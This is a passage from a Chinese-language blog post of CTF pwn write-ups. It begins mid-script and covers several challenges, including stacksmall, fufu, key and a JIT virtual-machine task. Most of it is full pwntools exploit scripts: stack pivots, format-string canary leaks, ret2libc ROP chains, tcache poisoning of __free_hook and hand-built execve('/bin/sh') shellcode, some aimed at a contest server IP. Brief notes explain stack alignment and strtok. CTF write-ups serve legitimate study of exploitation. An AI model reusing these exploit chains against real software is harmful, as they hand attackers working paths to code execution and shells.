print(f"Libc Base: {hex(libc_base)}")
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret'), executable=True))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret'), executable=True))
pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12 ;ret'), executable=True))

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
p.recvuntil(b'I will check your password:')


payload = b'a'*(0x28) + p64(canary) + p64(0x404800) + p64(0x4011c9)
p.send(payload)

payload = b'flag.txt\x00'
payload = payload.ljust(0x10, b'\x00')
payload += b'a'*(0x18) + p64(canary) + b'a'*(0x8)

flag_addr = 0x404800 - 0x30
bss = 0x404500
# Open(flag_addr, 0)
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0) + p64(open_addr)
# Read(3, bss, 0x50)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read_addr)
# Write(1, bss, 0x50)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write_addr)

p.sendline(payload)
p.interactive()

讲解拓展

stacksmall

image

没有libc,先想办法泄露libc,read迁移到bss段上去执行got表泄露

image

拿到libc之后构造后门就好

image

system函数会压栈

栈迁移压栈简介

栈向下增长

system 函数在运行时会通过 sub rsp, 0x388 等指令向下开辟大量的局部变量空间,这要求 RSP 指向的内存区域必须具备 RW(可读写) 权限且空间充足(建议预留 0x500 字节以上),否则一旦 RSP 减小后超出了读写段边界(撞进只读段或未分配区)或者覆盖了你后续的 ROP 数据,程序就会立即崩溃。

sub rsp 0x388之后还要调用 fork、甚至 execve。这些子函数每一个都会建立自己的栈帧(继续 pushsub rsp)。

rw段权限

读:pop rdi ;ret #CPU 从这个地址 gadget 给 RIP

写:p.send(payload) # 写payload

所以必须是:

RW_ 权限段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
import sys
from LibcSearcher import *
file_path = "./stacksmall"
remote_host = "127.0.0.1"
remote_port = 1111
context(arch='amd64', os='linux', log_level='debug')
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x40121B
# c
# """, api=True)
elf = ELF(file_path)
def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

bss=0x404500
main=0x4011DB
rdi=0x401225
leave=0x40121B
lea=0x401200
rbp=0x40115d
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
ret=0x40101a


pay1=b"a"*0x50+p64(bss+0x50)+p64(lea)
sa(b"Xswlhhh!Use stack hijacking on him!",pay1)

pay=p64(rdi)+p64(puts_got)+p64(puts_plt)
pay+=p64(rbp)+p64(bss+0x200+0x50)+p64(lea)
pay=pay.ljust(0x50,b"a")+p64(bss-8)+p64(leave)
p.send(pay)

puts =uu64()
print(b"puts==========="+hex(puts).encode())
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
print(b"libc_base==========="+hex(libc_base).encode())
system=libc_base+libc.dump("system")
bin=libc_base+libc.dump("str_bin_sh")
print(b"system==========="+hex(system).encode())
print(b"bin==========="+hex(bin).encode())

payload=p64(ret)+p64(rdi)+p64(bin)+p64(ret)+p64(system)#16字节对齐+一个ret
payload=payload.ljust(0x50,b"\x00")
payload+= p64(bss+0x200)+p64(leave)#不用+8的
p.send(payload)

p.interactive()

fufu

fmt+canary+ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
import sys
from LibcSearcher import *

# 配置信息
file_path = "./attachment-32"
remote_host = "101.200.155.151"
remote_port = 12600
context(arch='amd64', os='linux', log_level='debug')

# 终端配置
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)

elf = ELF(file_path)
libc = elf.libc

def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def cmd(choice):
sla(b'Furina: Your choice? >> ', str(choice))

def fmt(length, data, size):
cmd(1)
sla(b'Furina: Time is limited! >> ', str(length))
sla(b'Furina: Present your evidence! >> ', data)
key = int(p.recv(size), 16)
sla(b'hcy want to eat chicken! >> ', b'YFOR')
return key

def over(data):
cmd(2)
ru(b'Furina: The trial is adjourned')
sl(data)


canary = fmt(6, b'%17$p', 18)
leak = fmt(6, b'%23$p', 14)
pie = fmt(6, b'%19$p', 14) - 0x13d6


pop_rdi = pie + 0x132f
ret = pie + 0x101a


libc_search = LibcSearcher('__libc_start_main_ret', leak)
libc_base = leak - libc_search.dump('__libc_start_main_ret')
print(f"[*] libc_base: {hex(libc_base)}")

system = libc_base + libc_search.dump('system')
sh = libc_base + libc_search.dump('str_bin_sh')
payload = b'a' * (0x50 - 8) + p64(canary) + b'a' * 0x8
payload += p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)

over(payload)

p.interactive()

genius

一个字节覆盖canary的/x00,printf输出canary,打ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='amd64',os='linux')
p=process('./attachment-22')
#gdb.attach(io)
elf=ELF('./attachment-22')
sh=0x402004
pop_rdi=0x4013f3
ret=0x40101a
system=0x401050
p.sendline(b'no')
p.sendline(b'thanks')
p.recvuntil(b'what you want in init')
p.send(b'a'*(0x19))
p.recvuntil(b'a'*(0x18))
canary=u64(p.recv(8))-0x61

payload=b'a'*(0x18)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()

program

UAF漏洞和堆溢出漏洞

image

image

但是2.31-0ubuntu9.17_amd64的uaf比较麻烦,可以考虑用堆溢出去打

先malloc一个超出tcachebin范围的chunk,jinru unsorted bin泄露libc

image

1
2
3
4
5
6
7
8
9
10
11
add(0,0x500)
add(1,0x60)
delete(0)
add(0,0x40)
show(0)
leak=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x1ed010
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
print(hex(free_hook))
system=libc_base+libc.sym['system']

之后free两个chunk,改tcache bin链表,(tcache bin不校验size,可以随意放置)

并且给free的参数是chunk的usr_addr,可以把free_hook放到usr_addr+8处,在user_addr(参数)处放bin/sh

1
2
3
4
5
6
7
8
9
10
add(2,0x60)
delete(2)
delete(1)
edit(1,0x8,p64(free_hook-8))
add(1,0x60)
add(2,0x60)
edit(2,0x10,b'/bin/sh\x00'+p64(system))
pause()
delete(2)
p.interactive()

pwn1

格式化字符串漏洞加canary+ret2libc

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(arch='amd64',os='linux')
# io=remote('101.200.155.151',12400)
io=process('./pwn1')
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]
def dbg():
gdb.attach(io)
pause()
elf=ELF('./pwn1')
libc=elf.libc
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
vuln=0x8049210

io.recvuntil(b"What's your name?\n\n")
payload=b'%20$paaaa%23$p'
io.sendline(payload)
libc_base=int(io.recv(10),16)-0x226d00-0x4000
print(hex(libc_base))

system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b'aaaa')
canary=int(io.recv(10),16)
io.recvuntil(b"What's your password?\n\n")
payload=b'a'*(0x4c-12)+p32(canary)+b'a'*(12)+p32(system)+p32(0)+p32(sh)
io.sendline(payload)

io.interactive()

key

堆基础分析uaf

canary+ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='key'
elf=ELF(file)
libc=ELF('attachment-8.so')

choice = 0x0
if choice:
port= 12200
iscc='101.200.155.151'
p = remote(iscc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
# gdb.attach(p,cmd)
gdb.attach(p,'b *0x400c45')

sla('size:\n',str(0x64))
sla('flag:\n',b'flag')

# 填满临时变量,read就不会在末尾加上'\x00',puts就能连带后面的canary一起输出
payload=b'a'*0x19
sa('welcome to ISCC\n',payload)
canary = u64(ru('.')[-8:-1].rjust(8,b'\x00'))
leak('canary')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x00000000004014c3
vuln=0x000000000040135C
ret=0x000000000040101a

payload = p64(canary)
payload = payload.rjust(0x20,b'a')
payload += b'a'*8
payload += flat(pop_rdi,puts_got,puts_plt,vuln)
# debug()
sla('nice to meet you',payload)

puts_addr=uru64()
leak('puts_addr')
libc_base=puts_addr-libc.sym['puts']
leak('libc_base')
system,binsh=get_sb()

sa('welcome to ISCC\n',b'a')

payload = p64(canary)
payload = payload.rjust(0x20,b'a')
payload += b'a'*8
payload += flat(ret,pop_rdi,binsh,system,vuln)
sla('nice to meet you',payload)

itr()

魔导王的秘密

还是uaf+堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
import sys
from LibcSearcher import *

file_path = "./attachment-13"
remote_host = "127.0.0.1"
remote_port = 1111
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)

# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)

elf = ELF(file_path)
libc = elf.libc

def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def cmd(choice):
p.recvuntil(b'Chant your choice:\n')
p.sendline(str(choice))

def add(index, size):
cmd(1)
p.recvuntil(b'Celestial alignment coordinate:\n')
p.sendline(str(index))
p.recvuntil(b'Quantum essence required:\n')
p.sendline(str(size))

def delete(index):
cmd(2)
p.recvuntil(b'Cursed sanctum to cleanse:\n')
p.sendline(str(index))

def edit(index, size, data):
cmd(3)
p.recvuntil(b'Sanctum for arcane inscription:\n')
p.sendline(str(index))
p.recvuntil(b'Runic sequence length:\n')
p.sendline(str(size))
p.recvuntil(b'Inscribe your primordial truth:\n')
p.send(data)

def show(index):
cmd(4)
p.recvuntil(b'Sanctum to reveal cosmic truth:\n')
p.sendline(str(index))



add(0,0x500)
add(1,0x60)
delete(0)
add(0,0x500)
show(0)
libc_base=uu64()-0x3ebca0
print(hex(libc_base))
add(2,0x60)
delete(1)
delete(2)
free=libc_base+libc.sym["__free_hook"]-8
# dbg()
edit(2,8,p64(free))
system,bin=bin_sys(libc_base)
add(1,0x60)
add(2,0x60)
edit(2,16,b'/bin/sh\x00'+p64(system))
delete(2)














p.interactive()

# def exploit():
# p.interactive()

# count = 0
# while True:
# count += 1
# try:
# if 're' in sys.argv:
# p = remote(remote_host, remote_port)
# else:
# p = process(file_path)
#
# print(f"[*] 第 {count} 次尝试爆破...")
# exploit()
# print(f"[+] 爆破成功,共尝试了 {count} 次!")
# break
# except Exception as e:
# print(f"[-] Wrong: {e}")
# try:
# p.close()
# except:
# pass

vm:star:

一般指 CTF Pwn 里“虚拟机解释器类题目”:题目程序自己实现了一套自定义指令集/字节码和一个解释器(VM),把很多类似“汇编/CPU”的概念(寄存器、栈、内存段、指令执行循环等)用代码模拟出来,然后你要在这套 VM 的实现里找漏洞并利用

strtok函数

strtok 是 C 语言标准库中的一个函数,专门用于将字符串分割成一系列的标记(tokens)

简单来说,它的作用就是根据你指定的“分隔符”(比如逗号、空格、分号),把一个长句子切碎。

1
>char *strtok(char *str, const char *delim);

str: 要被分割的字符串(注意:这个字符串会被修改)。

delim: 包含所有分隔符的字符串。

返回值: 返回指向当前找到的标记的指针;如果没找到,返回 NULL

当找到一个分隔符时,strtok 会把该位置的字符替换成空字符 \0

它在内部维持一个静态变量,记录下一次扫描开始的位置。

第一次调用时传入字符串地址 str,之后的连续调用需要传入 NULL,告诉它“从上次断开的地方继续往后找”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
>#include <stdio.h>
>#include <string.h>

>int main() {
char s[] = "anon,ido,99";
char *v17;
char *s1;
// 1. 第一次调用:传入字符串 s
// 它会找到第一个逗号,把逗号改成 '\0',并返回 "anon" 的首地址
v17 = strtok(s, ",");

// 2. 第二次调用:传入 NULL
// 这告诉函数:“从上次切断的地方继续往后找”
// 它会找到下一个逗号,改掉它,返回 "ido" 的首地址
s1 = strtok(NULL, ",");

printf("v17 的内容: %s\n", v17); // 输出: anon
printf("s1 的内容: %s\n", s1); // 输出: ido

return 0;
>}

PAIR64

把两个 32 位值拼成一个 64 位值。

1
#define __PAIR64__(high, low)  ( ( (uint64)(high) << 32 ) | (uint32)(low) )
  • high:高 32 位(你这里是 mode
  • low:低 32 位(你这里是 inmode
  • 结果:一个完整的 64 位整数:high << 32 | low
1
opcode_list[1] = __PAIR64__(mode, inmode);

等价于:

1
opcode_list[1] = ( (uint64)mode << 32 ) | (uint32)inmode;

就是把 mode 放高 32 位、inmode 放低 32 位,拼成一个 64 位的 opcode。

ai分析流程

第一阶段 (strtok)

  • 检查 s1(第二个 token)是否为 "ido"。如果不是 "ido",则跳出循环。
  • 跳出循环后,如果 s1"stop",则进入执行阶段(mutsumi_jitrun_vm)。

第二阶段 (nptr)

  • 如果输入是 to,则后续需要输入一个特定的名字,并映射为整数 n2
    • tomorin -> 0
    • rikki -> 1
    • anon -> 2
    • soyorin -> 3
  • 如果输入不是 to,则直接通过 atoi(nptr) 将输入转为整数。

你的分析已经非常到位,精准地捕捉到了指令解析的前半部分。按照你的样式,我为你补充完整整个 VM 从数据封装最终执行的后续流程分析:

第三阶段 (数据结构封装):

程序将解析后的指令信息结构化地存入 Vm 管理区:

  • 槽位分配:采用 16 字节对齐 的方式存储,通过 16 * index + Vm 手动计算内存偏移。
  • 指令名存储:在前 8 字节 存放操作码字符串(如 saki)的内存地址指针。
  • 操作数打包:利用 __PAIR64__ 宏,将 4 字节 的类型标志 v134 字节 的具体数值 asm_index 组合成一个 8 字节 的数值,存放在该槽位的后半部分。

第四阶段 (即时编译 - mutsumi_jit):

当接收到 stop 指令后,VM 进入“代码生成”环节,将结构化的数据转换为 CPU 可直接识别的机器指令:

  • 模式判定
    • 角色映射模式:若标志位为角色模式,则将名字 ID(0-3)硬编码转换为 x86 的 寄存器跳转指令(如 FF E0 代表 jmp rax 等)。
    • 数值逻辑模式:若为数值模式,则调用内置的 imm2asm 函数,将输入的整数作为 偏移量(Immediate),生成对应的跳转指令(如 E9 [4字节数值])。
  • 内存流构建:将生成的这些 2 字节或 5 字节的机器码片段,按输入顺序连续拷贝(memcpy)到预先分配好的 0x114000 缓冲区中。

第五阶段 (环境切换与执行 - run_vm):

VM 最终通过改变内存属性来激活生成的指令序列:

  • 内存保护切换:调用 mprotect 动态修改 0x114000 区域的属性,将其设置为 可读可执行 (PROT_READ | PROT_EXEC)
  • 执行流交接:通过读取 p_Vm 偏移 16 位置存储的基地址(即 0x114000),将其作为 函数指针 发起调用。
  • 虚拟机运行:CPU 的控制权正式移交给 JIT 缓冲区,开始按序执行由 mutsumi_jit 拼接而成的机器指令流,直至遇到退出或返回指令。

短跳直接跳过jmp执行构造的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(arch='amd64',os='linux')
io= process("./pwn")



def send_cmd(payload):
io.sendline(b'xidp,ido')
io.sendline(payload)

def bytes_to_int_encoder(bytes):
return str(struct.unpack('<I', bytes)[0])

# 0x6873 2f6e 6962 2f = hs/nib/
code_fragments = [
b"\x34\x3b\x90\x90",#xor al,59;
b"\x48\x31\xf6\x90",#xor rsi,rsi;
b"\x48\x31\xd2\x90",#xor rdi,rdi;
b"\x66\xbb\x73\x68",#mov bx,0x6873 rbx=0000 0000 0000 6873
b"\x48\xc1\xe3\x10",#shl rbx,0x10 rbx=0000 0000 6873 0000
b"\x66\xbb\x6e\x2f",#mov bx,0x2f6e rbx=0000 0000 6873 2f6e
b"\x48\xc1\xe3\x10",#shl rbx,0x10 rbx=0000 6873 2f6e 0000
b"\x66\xbb\x62\x69",#mov bx,0x6962 rbx=0000 6873 2f6e 6962
b"\x48\xc1\xe3\x08",#shl rbx,0x8 rbx=0068 732f 6e69 6200
b"\x66\xbb\x2f\x62",#mov bx,0x622f rbx=0068 732f 6e69 622f
b"\x53\x90\x90\x90",#push rbx
b"\x89\xe7\x90\x90",#mov edi,esp
b"\x0f\x05\x90\x90",#syscall
]


for code_segment in code_fragments:
send_cmd(payload = b"1")#EB 01
send_cmd(payload = bytes_to_int_encoder(code_segment))# 生成 E9 [4字节代码] (5字节)



# 结束输入开始运行
io.sendline(b'saki,stop')

io.interactive()
 请作者喝杯咖啡
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View